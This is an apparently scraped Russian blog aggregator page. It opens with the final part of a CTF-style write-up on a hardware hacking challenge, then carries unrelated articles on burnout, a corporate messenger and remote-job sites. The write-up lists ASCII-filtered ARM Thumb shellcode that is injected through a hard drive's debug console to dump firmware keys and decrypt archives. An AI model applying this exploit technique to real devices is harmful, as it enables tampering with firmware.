В этот момент у меня прям реально пошли мурашки по коже! Мы получили что-то помимо ошибок. Это значит только одно - мы успешно триггернули printf. И, судя по тому, что в процессе программы, мы, как минимум прогоняем код по одному из ключей (скорее всего по первому), он должен лежать в R0. Ladies & Gentleman, мы видим первый ключ! По поводу ошибок FAddr я писал в предыдущей статье, но здесь повторюсь - поскольку мы абьюзим адрес возврата, после выполнения printf процессор начинает исполнять неизвестный нам код. Он натыкается на невалидный код операции, и показывает адрес, где он с ним столкнулся. После такого - только ребут жесткого диска по питанию.

Второй

Для всех дальнейших ключей нам надо сделать следующее. Здесь вы видите части из level_3.html, где ключи расставляются в регистры R1-R3:

...079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0...091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1...105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2...

Как видим, каждый следующий ключ зависим от предыдущего через EOR. Из-за такой зависимости, для второго ключа, мы должны где-то хранить первый. Для третьего мы должны где-то хранить второй и тд. Инструкций с приставкой -EQ нету в Thumb. Они нам и не нужны. В качестве Thumb-овских аналогов, для LDREQ есть простой LDR, а для EOREQ есть EORS (это не совсем аналоги, но для наших целей - сойдут).

Пробуем сделать второй ключ:

1. STR R3, [R7]       = 0x3B 0x60   = ";`"2. LDR R5, [R7]       = 0x3D 0x68   = "=h"3. LDR  R1, [R4, #4]  = 0x61 0x68   = "ah"4. EORS R1, R0        = 0x41 0x40   = "A@"5. STR R1, [R7]       = 0x39 0x60   = "9`"6. LDR R0, [R7]       = 0x38 0x68   = "8h"7. BX R5              = 0x28 0x47   = "(G"
  1. Сохраняем адрес pfintf в память, куда указывает R7

  2. Подгружаем адрес printf из памяти в R5

  3. Грузим второй ключ по правилам из level_3.html в R1

  4. Делаем EORS с первым ключом из R0 и сохраняем в R1. Второй ключ готов

  5. Сохраняем его в память, куда указывает R7

  6. Подгружаем его в R0

  7. Триггерим printf

Все инструкции проходят фильтр. Пробуем и радуемся - вот наш второй ключ!

F3 T>R!;`=hahA@9`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,DOWNLOAD_MICROCODE_FUTURE_USE_ONLYLED:000000EE FAddr:002C7B5CLED:000000EE FAddr:002C7B5C

Третий

Для третьего ключа, делаем похожее:

1. STR R3, [R7]       = 0x3B 0x60 = ";`"2. LDR R5, [R7]       = 0x3D 0x68 = "=h"3. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"4. EORS R1, R0        = 0x41 0x40 = "A@"5. LDR R2, [R4, #8]   = 0xA2 0x68 = "h"6. EORS R2, R1        = 0x4A 0x40 = "J@"7. STR R2, [R7]       = 0x3a 0x60 = ":`"8. LDR R0, [R7]       = 0x38 0x68 = "8h"9. BX R5              = 0x28 0x47 = "(G"

Опа! Инструкция на строке 5 не пройдет фильтр из-за символа "". Он хоть и имеет текстовое представление, но не входит в рамки ASCII. Если я введу его в консоль, мне моментально отобразится сообщение, мол, символ не верный, и покажет чистую строку приглашения:

F3 T>Input_Command_ErrorF3 T>

Инструкция LDR R2, [R4, #8] делает оффсет от R4 на 8 байт, лезет по адресу в память, и сохраняет содержимое в R2. Хм, мы можем хитро выкрутится, и прибавить к адресу в R4 4 байта, а потом лезть в память с таким же оффсетом как и для первого ключа (инструкция на строке 3 проходит ASCII фильтр как с R1, так и с R2).

ADDS R4, #4   = 0x04 0x34 = " 4"

Черт побери, из-за 0х04 мы не сможем использовать подобное. Включаем максимальную хитрость! Может прибавить 44, а потом отнять 40?

ADDS R4, #44  = 0x2c 0x34 = ",4"SUBS R4, #40  = 0x28 0x3c = "(<"

Вау! Должно сработать. Делаем парочку изменений:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR  R1, [R4, #4]  = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. STR R2, [R7]       = 0x3a 0x60 = ":`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"
F3 T>R!;`=hahA@,4(<bhJ@:`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,TraceBufferControlFlags1_37LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну ничего себе! У нас получилось. Это наш третий ключик!

Четвертый

Идем по тому же пути:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. ADDS R4, #44       = 0x30 0x34 = ",4"10. SUBS R4, #40       = 0x28 0x3c = "(<"11. LDR R3, [R4, #4]   = 0x63 0x68 = "ch"12. EORS R3, R2        = 0x53 0x40 = "S@"09. STR R3, [R7]       = 0x3b 0x60 = ";`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"

Вводим:

F3 T>R!;`=hahA@,4(<bhJ@,4(<chS@;`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,${SORRY_HABR_DONT_WANT_TO_LEAK_KEY}LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну вот и все. Мы сгенерировали все ключи! Совместив их в 1 строку я получил пароль к архиву. Когда пытался его ввести в 7z, я почему-то получил ошибку. Но, потыкав порядок ключей при совмещении строки, я все же добился желаемого. У нас 4 ключа, то есть - 16 возможных комбинаций. Такое брутфорсится в ручном режиме.

user@ubuntu:/media/user/LEVEL3$ 7z x final_level.lod.7z.encrypted7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)Scanning the drive for archives:1 file, 653959 bytes (639 KiB)Extracting archive: final_level.lod.7z.encrypted--Path = final_level.lod.7z.encryptedType = 7zPhysical Size = 653959Headers Size = 151Method = LZMA:20 7zAESSolid = -Blocks = 1Enter password (will not be echoed):Everything is OkSize:       1014784Compressed: 653959user@ubuntu:/media/user/LEVEL3$ file final_level.lodfinal_level.lod: data

Стоит оговорится, что наш шеллкод может быть еще круче. Мы можем сформировать format string типа "%s%s%s%s", разместить его где-то в памяти, передать его адрес через R0, а в остальные регистры расставить ключи. У нас целых 0x90 байт для шеллкода. Но, раз уж мы решили левел, двигаем дальше.

1337

Финалочка. Прошив диск файлом final_level.lod мне открылся раздел диска с названием 1337. Мы очень близки к награде! Содержимое раздела:

user@ubuntu:/media/user/1337$ file *level4_instructions.txt:   ASCII textcongrats.pdf.7z.encrypted: 7-zip archive data, version 0.3

Наша инструкция:

user@ubuntu:/media/user/1337$ cat level4_instructions.txtAlmost...Enter the following commands:1. /52. B,,,,1,1BEE-BOOP-BAP-BOOP-BEE-BOOP

Нам ничего не остается как ввести это в консоль диска. Результат смотрите на видео:

Никогда не мог подумать, что слушать азбуку морзе и параллельно записывать точки и тире окажется на столько сложно. Пришлось позакрывать рты всем, кто находился со мной в комнате и воспользоватся айфоновским диктофоном :D

Точки и тире были очень различимы на графике. Таким образом я получил пароль от последнего файла. На pdf-ке был счастливый единорог на радужном фоне, координаты офиса ребят в NYC и email адрес компании для тех, кто решил диск. А также, приватный и публичный ключи от BTC кошелька с обещанной наградой. Я скачал биткоин клиент Electrum, и подписал транзакцию, которая перевела все 0.1337 BTC на мой кошелек. В наше время, без пруфов никуда. Поэтому, воть:

https://www.blockchain.com/btc/address/1JKXc7mv3HLAWVZJNMMK5sMCMvMUhUyqt5

Congrats.pdf

Эпилог

Есть еще одна вещь, которая выходила за рамки этих публикаций, но которая стоит внимания. На разделах диска было куча исследований от ребят из RedBalloonSecurity - pdf-ки и видосы с конференций. Как по мне, это отличный способ для кандидатов узнать чем занимается компания, и частью какого мира предстоит быть претенденту. Это очень круто!

Друзья, этот диск по правде занял очень теплое место в истории моей жизни. И я был чертовски рад поделится этой историей с вами. Это был невероятно долгий путь. Как в процессе взлома, так и в процессе переноса моих мыслей и воспоминаний в виде этой серии публикаций. Наверное, всех интересует вопрос, получил ли я работу в Нью Йорке... мне хочется сделать из этого тайну а-ля в фильме "Начало" Кристофера Нолана. Юла пускай крутится, а зритель... будет сам думать, во сне это, или на яву.

Спасибо за ваши просмотры и лайки. Подписывайтесь на инсту o.tkachuk, хотя бы иногда тыкайте reddit, и держите свои HDD подальше от этих ребят. Всем спасибо за внимание!

Подробнее..

Что такое синдром эмоционального выгорания и как с ним справится самостоятельно

11.02.2021 20:09:20 | Автор: admin

Наверняка, вы слышали выражение: перегорел на работе. Возможно, так говорили и о вас. Если долгожданный отдых не восполняет силы, а мысли о работе вызывают только раздражение, возможно, вы столкнулись с синдромом эмоционального выгорания.

Это крайне неприятное состояние, при котором человек чувствует моральное и физическое истощение несколько месяцев подряд. Работа, которая раньше приносила удовольствие, бесит и раздражает, не хочется общаться с людьми. Человеку очень сложно сосредоточиться на выполнении своих обязанностей. Он может срывать сроки, не выполнять договоренности. При этом, объективно понимать свои ошибки, но все равно бездействовать.

Изо дня в день складывается ощущение, что прилетели дементоры и высосали всю радость. Конечно, у каждого из нас бывают плохие дни, когда накатывает хандра. Но если это состояние становится привычным, пора серьезно задуматься.

Признаки синдрома эмоционального выгорания (СЭВ)

Жизнь напоминает квест дожить бы до пятницы. Человек с ужасом понимает, что наступил новый день. Уже с утра он испытывает вялость, апатию и стойкое нежелание что-либо делать.

Кажется, что весь мир идет на тебя войной. Раздражает все: коллеги, родственники, партнер и даже случайный продавец в магазине. Складывается стойкое ощущение, что обстоятельства все время складываются против вас.

Частые простуды и болезни. На последних стадиях СЭВ тело начинает бунтовать и просить об отдыхе. У человека появляются головные боли, он часто простывает и замечает ухудшение зрения.

Негативное отношение к клиентам и коллегам. Обычная просьба и справедливые замечания воспринимаются в штыки. Человек чувствует, что его не ценят и не уважают. Он совершенно не хочет вникать в рабочие вопросы, вносить правки или выдавать новые идеи.

Бессмысленность жизни. Все чаще в голове возникает вопрос: А зачем я это делаю?. То, что ранее приносило радость, больше не ценится. Появляется стойкое желание закрыться в шкафу, уйти в лес и ничего не делать.

Нет сил на проявление эмоций. Вам лень себя повеселить и развлечь, совершенно нет сил злиться на тупость начальства или клиентов. То, что раньше вызывало отклик, например, поход на концерт или в кино, сейчас не вызывает никаких эмоций.

Если вы изредка ощущаете 1-3 проявления СЭВ, ничего страшного в этом нет. Это просто означает, что вы нормальный человек. Невозможно 24 на 7 улыбаться и радоваться жизни, как мужчина из рекламы майонеза. Но если подавленное, апатичное состояние стало нормальным, пора предпринимать меры. Само оно не рассосется. Уже на первых стадиях желательно найти возможность позаботиться о себе.

Стадии эмоционального выгорания

Влюбленность. От новой работы или проекта просто сносит крышу. На этой стадии человек готов работать за идею. Его перестают интересовать друзья, отношения с партнером и хобби. Вся энергия направлена только в рабочее русло. Он начинает быть похожим на секретаря из фильма Дьявол носит Прадо. Многие игнорируют этот период из-за состояния эйфории и полного погружения.

Спасатель-жертва. На этой стадии человеку кажется, что без него все рухнет. Он испытывает постоянную тревогу, играет роль спасателя или жертвы. Мысли о работе не дают уснуть, а желанные выходные не приносят радости. Появляется неприязнь к коллегам, клиентам, начальству. Вместе с этим чувством возникает желание закрыться от всего мира и снять с себя ответственность.

Синдром менеджера. Человек перестает следить за своим здоровьем и напоминает сотрудника фильма Бойцовский клуб. Ему неважно, что есть или пить. Он не помнит, когда последний раз нормально высыпался или занимался спортом. Вся неделя напоминает огромный день сурка, развивается бессонница и полное равнодушие к работе.

Разрушение. Не понимаете по-хорошему, значит, будет по-плохому. На этой стадии человек может серьезно заболеть и попасть в больницу. Тело уже не говорит, а кричит о том, что нужен срочный отдых. В лучшем случае можно заболеть ангиной или язвой желудка.

В худшем онкологией. Отношения с окружающими тоже складываются не в лучшую сторону. Человек выдает неадекватную и агрессивную реакцию на мелкие раздражители. Например, может устроить истерику из-за немытой посуды или крошек на столе.

Как себе помочь

Понять, что мешает остановиться и отдохнуть. Никто из нас не может пахать по 10-12 часов в сутки, это неестественный и нереалистичный стиль жизни. Постарайтесь осознать это и найти время для качественного отдыха.

Возможно, некоторые сейчас скажут, что это невозможно. Сроки горят, надо платить за ипотеку, да и какой отдых может быть, если сейчас пандемия и поехать куда-то невозможно? Что бери отпуск, что не бери, все равно время пройдет в 4-х стенах. На самом деле, возможность отдохнуть можно найти практически в любой ситуации, если изменить свои убеждения и взгляды.

Чаще всего, человеку-энерджайзеру мешают расслабиться не внешние обстоятельства, а негативные мысли в голове: Делу время, а потехе час, Без меня с этим никто не справиться, Я потеряю деньги и не на что будет жить, Хорошего понемножку. Попробуйте понаблюдать за собой. Честно ответьте себе на вопрос:

  • почему я не позволяю себе отдыхать?

  • что я со всем этим буду делать?

  • что произойдет с моим телом, семьей, жизнью, если я сейчас не отдохну?

  • какие возможности я могу найти в сложившихся условиях, чтобы сменить на время обстановку или привнести новизну в свою жизнь (снять дом за городом/устроить романтическую ночь в отеле/делать привычные вещи по-новому)

Способы преодоления эмоционального выгорания у каждого индивидуальны. Кому-то поможет сеанс ароматерапии или массажа, кто-то разгружает голову в спортзале. В некоторых случаях требуется помощь психолога. Поищите 2-3 своих метода, которые помогут конкретно вам. Это будет намного ценнее применения чужих методик.

Поговорить с начальством и попросить отпуск. Перед разговором желательно подумать о том, что важно вашему руководителю. Скорее всего, чтобы рабочий процесс продолжался. Представьте себя на его месте: к вам подходит человек и говорит Мне нужно в отпуск. На что бы вы согласились? В какое время лучше всего подходить? Например, через 20 минут после обеда или утром после продуктивного совещания. Кому можно делегировать задачи, пока вас не будет?

Мысленно смоделируйте ситуацию, что начальник соглашается на ваше предложение. Что вы ему говорите? В какой форме?

Также подумайте, в каких случаях он может отказать и как вы ответите. Какие аргументы представите в вашу пользу? Например, что делегируете часть задач коллегам, 1 раз в день будете выходить на связь, останетесь в праздники. Озвучьте свою просьбу уверенно, без излишней требовательности.

Например:

Иван Иванович, мне бы очень хотелось взять отпуск со 2 до 10 числа. Свои задачи делегирую Марии, собираюсь выходить с ней на связь 1 раз в день. Буду очень признателен, если подпишите. У нас с семьей каждый год есть традиция выезжать на неделю за город/уходить в поход/проводить время вместе.

Как правило, когда люди слышат слова традиции, правила, ценности, они быстрее идут на встречу. Конечно, бывают и исключения. Поэтому, очень важно, быть морально готовым, что вам откажут. В таком случае, уточните, когда вы вновь сможете вернуться к обсуждению этого вопроса.

Укрепить личные границы. Личные границы это правила, как с вами можно, а как нельзя поступать. Если человек не знает своих личных границ, им легко манипулировать на работе. Коллеги и начальство будет не прочь скинуть на него часть своих обязанностей.

Чтобы избежать такого положения вещей, вспомните ситуации, когда вы испытывали злость и раздражение. Например, вас вызвали на работу во время отпуска, начальник попросил доделать отчет в выходные или пришлось отвечать на звонки клиентов после 23:00. Не игнорируйте злость в такие моменты.

Это важное чувство, говорит о том, что ваши границы нарушают. Подумайте, какие действия вы можете совершить, чтобы не допустить подобного. Можно завести дневник самонаблюдений, отследить часто повторяющиеся ситуации, свои реакции и записать действия, которые вы сделаете в будущем. Например, мне помогает ведение следующей таблицы:

Ситуация

Что я испытала

Что я сделаю, чтобы защитить границы

Клиентка прислала 5 голосовых сообщений в час ночи, с просьбой очень срочно ответить

Негодование, рабочий день уже давно закончился

Вежливо сообщить, в какое время я буду отвечать

Отключать телефон после 20:00

Начальница решила устроить совещание в субботу

Злость, что на мое личное время претендуют

Научусь говорить НЕТ

Вежливо сообщу, что в выходные у меня есть правило (традиция) не решать рабочие вопросы

Постепенно внедряйте в жизнь полезные действия из колонки три.

Упражнения для экспресс-восстановления

Легче поддерживать ресурсное состояние в течение дня, чем работать на скорости 140, а потом лежать без сил. Предлагаю вам три простых упражнения, которые помогут восполнить силы

Слив эмоций. Невыраженные злость, негодование, обида и другие неприятные эмоции застревают в нашем теле в виде телесных зажимов. Чем их больше, тем быстрее накапливается усталость. По возможности постарайтесь выразить негатив через действия. Например:

  • побить подушку (только не ту, на которой спите)

  • разбить старую посуду

  • покричать на землю

  • сделать интервальную тренировку в зале

  • поколотить боксерскую грушу

  • сходить в караоке

Для экстренной помощи можно проделать следующее упражнение. Вспомните ситуацию, которая вывела из себя. Оцените от 0 о 10, насколько она раздражает сейчас. Желательно выбрать то, что бесит на 7-8 баллов. Начните думать об этой ситуации, вдохнув побольше воздуха в грудь и сжав кулаки посильнее. Как только станет невозможно задерживать дыхание, с силой выдохните его и разожмите ладони. Снова оцените от 0 до 10, насколько сейчас ситуация вас раздражает. Если ничего не изменилось, проделайте упражнение еще 2-3 раза.

Поводы для радости и удовольствия. Наш мозг ленив и всеми способами хочет получить удовольствие. Без него он будет всячески саботировать рабочий процесс. Чтобы оставаться в ресурсном состоянии, составьте список вещей, которые вас радуют.

Запишите все: от самых маленьких до глобальных. Желательно придумать приятные занятия для всех органов чувств: слуха, обоняния, зрения, осязания, вкуса. На каждый день выбирайте из списка одну-две приятности и награждайте себя за выполненную работу.

Восемь комнат. Представьте свою жизнь в виде дома с 8-ю комнатами это сферы вашей жизни. Подумайте, в каких трех из них вы давно не были? Возможно, давно не убирались в комнате здоровья, не открывали дверь в хобби или забыли про самообразование. Напишите, что вы можете сделать, чтобы изменить ситуацию и найти время для посещения этих комнат. Какие простые действия помогут? Например, продолжительный сон, встреча с друзьями, гаджет-детокс. Запланируйте эти простые действия.

Иногда человек не может противостоять системе в конкретной организации. Например, у меня был опыт работы в компании со сменами по 14 часов и одним выходным в неделю. Условия труда и особенности корпоративной культуры просто физически не давали восстановиться.

Проанализировав ситуацию, я выбрала уйти. Это было кардинальным решением, и, конечно, никого не призываю писать увольнительную. Но, если чувствуете, что сгораете, постарайтесь составить прогноз и разобраться: есть ли у вас шанс восстановиться именно на этой работе? Или пора искать что-то еще?

Подробнее..

Недоумение про ещё один корпоративный чат или как сделать приятно всем

21.06.2021 12:17:59 | Автор: admin

На рынке мессенджеров сейчас есть примерно всё, как на Привозе. Есть решения на открытом коде, есть мессенджеры с миллиардом пользователей (или даже двумя). Но четкого понимания, что же взять с прилавка, чтоб все сотрудники огромного банка (и его 300+ дочек) с улыбкой открывали какой-то один и это всё проходило бы под требования по безопасности, у меня не сложилось.

Но жаловаться на несовершенство этого мира, недостижимость идеалов и тщетность бытия бесполезно. Поэтому перейдём к требованиям. Что хочет очень большая организация?

Чтоб было безопасно. Т.е. чтоб не просто data scientist модный в шортиках из одной американской/китайской/российской компании не мог в рамках своих задач узнать что-то полезное, а даже рядовой админ банка не смог увидеть или унести переписку одного уважаемого человека с другим. Даже в качестве картинки. Даже на свой админский супер-защищённый комп. Следовательно, оно должно быть self-hosted разворачиваемо отдельно и полностью контролируется исключительно теми, кому положено следить и зарплату за это платят. Ещё нужно подключиться к системам, отвечающим за безопасность передаваемого контента. Ещё нужно иметь в руках команды сопровождения все возможные рычаги, чтобы нерадивого пользователя можно было ограничить в желании другому пользователю передавать то, что не положено.

Чтобы было удобно. Сейчас на дворе 2021 год. Но даже закачать справочник пользователей или синтегрить с корпоративной телефонией банка что-то это уже подвиг на грани фантастики. И удивлению моему не было предела тот же slack обладает пользовательским интерфейсом, который физически невозможно объяснить курьеру из доставки подавай ему пользовательский интерфейс ala telegram. И желательно с видео конференциями встроенными. И прям очень нужен голосовой виртуальный ассистент, голосом удобнее. Ещё невозможно объяснить человеку, у которого есть одновременно два телефона, планшет и два компьютера почему ему нужно выбрать, где же можно работать с этим мессенджером, а где остаться без мессенджера. Ну и зачем каждый раз свой номер телефона светить не ясно.

Чтобы было удобно для внутренних коммуникаций. Тут приходят умные люди из разных отделов, департаментов и цельных предприятий и говорят нам возможность узконаправленных рассылок нужна. Таргетированных, как это модно называть. По полу, по городу, по региону, по подразделению, по должности и т.д. И в этот момент все open-source решения для чатов (а их только на github больше 2100 штук) куда-то деваются. Остаются те, кто реально зарабатывает. Но первый пункт не выполняется.

Чтобы развитие продукта помогало бизнесу, а не мешало всем подряд. Удивительно, но с этой точки зрения почти никто не смотрит. Сколько времени сотрудник тратит на поиск телефона в адресной книге где-то там, потом нужно найти телефон, чтобы позвонить и на этом телефоне набрать 11 заветных цифр. И выяснить, например, что номер с ошибкой. Гораздо удобнее нашёл ФИО, посмотрел фото и сразу набрал. Нужно ещё двоих подключить аналогично набрал и добавил. И никакой музыки от абонента, которому кто-то в это время позвонил, портящей всем 114 остальным участникам совещания не только настроение. 2021 на дворе. И чтоб если нужно любой модуль за месяц прикрутить можно было. Ну хорошо, иногда за два

Отсутствие зависимости от вендора и его капризов. Если ты маленькая организация из 50 человек (а по статистике таких ох как много), тебе нужно решение готовое. Даже когда 3000 человек нужно обслужить вопрос даже не стоит идёшь и выбираешь решение. Можно даже покапризничать и тендер объявить. А если у тебя 400 000 сотрудников? А если миллион планируется? Тут и вендоров вечных с хорошим SLA мало, и возможности их контролировать тоже не велики. Или вендор маленький и может случайно помереть при очередном кризисе или принятии закона/уехать ему понадобится всей командой, или вендор большой, но его мало интересуют проблемы конкретного клиента у него самого может быть 40 000 сотрудников и 1000 таких же клиентов по миру.

Казалось бы каждое из этих пяти требований по отдельности легко покрывается тысячами продуктов. Если взять и выкинуть одно тоже есть десятки. А вот всё вместе и сразу можно только самим мучительно делать. Чем и занимаемся. И вас зовём.

Ну и на всякий случай сошлюсь на бородатые требования одного habrовода (http://personeltest.ru/aways/habr.com/ru/post/405887/ - их мы тоже учли и удовлетворили): кроссплатформенность. Чтоб я наконец-то мог сидя на обеде, или в транспорте, или в отпуске кому-то что-то написать с телефона, да и узнать, что мне кто-то написал. И чтоб мой коллега, у которого Линукс, не делал каждый раз печальное лицо при слове чат. заточенный под общение в компаниях. Чтоб у меня был чат, где есть все мои коллеги и только мои коллеги живой активный проект. Чтобы баги, как застывшие в янтаре насекомые, не висели в продукте до конца времён передача файлов. Ну зачем мне заливать эту картинку в общую папку, если я просто могу кинуть её через чат! нормальная синхронизация уведомлений / непрочитанного. Чтобы не как в Скайпе словил сообщение, и потом в течение 24 часов находишь уведомление о нём на каждом своём девайсе.

Продолжение следует.

Подробнее..

Агрегаторы вакансий для разработчиков сравниваю 10 самых популярных

02.02.2021 14:17:42 | Автор: admin

Только самый-самый ленивый человек не написал о том, как искать работу на удаленке. Большинство советов про то, как откликнуться, пройти собеседование и так далее. Меня интересует другое где вообще удобно искать вакансии. Составил свой рейтинг, протестировав 10+ самых известных агрегаторов.

Поэтому я решил проанализировать все агрегаторы удаленных вакансий и составить свой рейтинг. Я искал вакансии c React'ом, если технологию ввести было нельзя просто писал Frontend Developer.

Чтобы вам было проще и понятнее, я разработал свою систему баллов, которые я давал каждому агрегатору.

  • Количество вакансий: 0 (min) 10 (max);

  • Свежесть вакансий: 0 (min) 10 (max);

  • Релевантность первых 10 вакансий моему поисковому запросу: 0 (min) 10 (max);

  • Поиск по навыкам: 0 его нет, 3 он есть;

  • Поиск по должности / категориям: 0 его нет, 3 он есть;

  • Фильтр по локации: 0 если его нет, 2 фильтр по US, 4 фильтр по другим локациям;

  • Другие фильтры: 0 (min) 3 (max)

  • Подписка на рассылку: 0 её нет, 2 есть, 4 персонализирована:

  • Экстра фичи: 0 (min) - 5 (max).

Сразу опубликую финальный рейтинг, а дальше будут детали:

Выводы на основе моего рейтингаВыводы на основе моего рейтинга

Bergamot

Ссылка

Количество вакансий: 10 баллов 3,300+ удаленных вакансий
Свежесть вакансий: 10 баллов Первая сотня в выдаче опубликована менее месяца назад
Релевантность: 10 баллов Все позиции релевантны
Поиск по навыкам: 3 балла
Поиск по должности / категориям: 3 балла
Фильтр по локации: 5 балла Можно выбрать Citizenship, и тогда система покажет только подходящие вакансии
Другие фильтры: 0 баллов
Подписка на рассылку: 4 баллаПерсонализированные рассылки по всем выбранным фильтрам
Экстра фичи: 3 балла AI-поиск: можно вставить ссылку на свой Linkedin и получить релевантную выдачу

ИТОГО: 48 баллов

Преимущества:
- Поиск по нескольким технологиям, должностям, гражданству. Умный фильтр: Bergamot исключает из выдачи вакансии, которые не подходят вам по локации (фактически по гражданству, потому что много позиций только для ребят из US / EU).
- Кажется, это самый масштабный агрегатор из тех, кто я видел (24k+ вакансий).
- Крутая штука: можно получить подходящие вакансии на основе своего профиля в Linkedin. У меня он заполнен, так что получил хорошие результаты.
- Гибкая подписка: можно подписаться на конкретные фильтры и даже на подходящие вашему Linkedin профилю вакансии.
- Только удаленные вакансии.

Недостатки:
- Есть устаревшие вакансии в выдаче, но их минимум (после 10 страницы).
- Только появились на рынке.


Workaline

Ссылка

Количество вакансий: 9 баллов1,000+ удаленных позиций
Свежесть вакансий: 10 баллов Больше 100 вакансий добавлены за последнйи месяц
Релевантость: 7 баллов Много нерелевантных позиций в выдаче, например, Ruby Developer / Mobile Developer
Поиск по навыкам: 3 балла
Поиск по должностям / категориям: 3 балла
Фильтры по локации: 0 баллов
Другие фильтры: 2 балла
Подписка на рассылку: 4 балла
Экстра фичи: 3 балла Можно исключать ключевые слова. И это единственный ресурс с такой опцией.

ИТОГО: 41 баллов

Преимущества:
- Круто отсортированы вакансии по дате публикации. Так что сверху в выдаче только свежие посты.
- Неплохой поисковый алгоритм: можно добавлять и исключать слова для ключевого поиска.
- Гибкая подписка на рассылку и частоту отправки.

Недостатки:
- Сломана авторизация с помощью Facebook. И вообще зачем она?
- Все вакансии, которые я нашел, были со Stack Overflow.


RemotelyPeople

Ссылка

Количество вакансий: 9 баллов 1,700+ удаленных вакансий
Свежесть вакансий:
10 баллов
Релевантность: 10 баллов Все позиции были релевантны
Поиск по навыкам: 3 балла
Поиск по должностям / категориям: 3 балла
Фильтр по локациям: 2 балла Фильтр по вакансиям доступным по всему миру
Другие фильтры: 1 балл Фильтр по вакансиям с зарплатой
Подписка на рассылку: 2 балла
Экстра фичи: 0 баллов

ИТОГО: 40 баллов

Преимущества:
- Много релевантных позиций неплохой поиск по вакансиям.

Недостатки:
- Рассылка без кастомизации.


WeWorkRemotely

Ссылка

Количество удаленных вакансий: 2 балла 52 удаленных вакансии найдено
Свежесть вакансий: 10 баллов Все вакансии свежие или недавно обновленные
Релевантность: 7 баллов Некоторые вакансии идеально подходят, но среди выдачи были и позиции React Native
Поиск по навыкам: 3 балла
Поиск по должностям / категориям:
3 балла
Фильтры по локации: 4 балла Можно отфильтровать вакансии в US / EU
Другие фильтры: 3 балла Есть фильтр по типу трудоустройства, компании и проч.
Подписка на рассылку: 2 балла Нельзя персонализировать, можно только выбрать категорию
Экстра фичи: 0 баллов

ИТОГО: 34 балла

Преимущества:
- Гибкий поиск: по должностям, ключевым словам, категориям, локации, компаниям и типу трудоустройства.
- Вакансии для дизайнеров, копирайтеров, финансистов, специалистов про продажам и не только.
- Больше подходящих вакансий: внутри каждой вакансии подборка похожих позиций в других компаниях. А ещё дополнительная информация о компании: сколько всего вакансий, где головной офис, ссылка на карьерную страницу.

Недостатки:
- Довольно маленький выбор вакансий. Или их просто сложно найти. 428 позиции для разработчиков доступны сейчас.
- Огромное количество продвигаемых вакансий. Это бесит.


Remote OK

Ссылка

Количество вакансий: 2 балла 30+ удаленных вакансий
Свежесть вакансий of vacancies:
10 баллов Довольно свежие вакансии
Релевантность вакансий: 9 баллов Большая часть вакансий релевантны, но некоторые опять включают React Native
Поиск по навыкам: 3 балла
Поиск по должностям / категориям:
3 балла
Фильтры по локации:
2 балла Только show worldwide
Другие фильтры: 0 баллов
Подписка на рассылку:
4 балла
Экстра фичи:
0 баллов

ИТОГО: 33 балла

Преимущества:
- Большая коллекция вакансий, и не только для разработчиков, но и для дизайнеров, маркетологов и так далее.
- Подписка: можно подписаться на вакансии и получать релевантные подборки ежедневно или еженедельно.

Недостатки:
- Ужасный поиск: невозможно использовать больше одного поискового запроса. То есть я ввожу React и все, больше ничего сделать не могу.
- Старые вакансии в выдаче: некоторые позиции были добавлены 3-6 месяцев назад.
- Вакансии активно промотируются на сайте, поэтому в выдаче в первую очередь ты видишь их.


Remote.io

Ссылка

Количество вакансий: 6 баллов 300+ удаленных вакансий
Свежесть вакансий: 10 баллов Все позиции недавно добавлены
Релевантность: 6 баллов Много нерелевантных вакансий вроде Technical Writer / QA Engineer
Поиск по навыкам: 3 балл
Поиск по должностям / категориям:
3 балла
Фильтр по локации:
0 балла
Другие фильтры:
0 балла
Подписка на рассылку:
2 балла Только по категориям
Экстра фичи: 3 балла Классный раздел с инструментами для удаленной работы

ИТОГО: 33 балла

Преимущества:
- Есть обозначение временных зон, но нельзя искать по геолокации.
- Вывод зарплат для некоторых позиций.

Недостатки:
- Поиск по ключевым словам работает не очень;
- Мало фильтров.


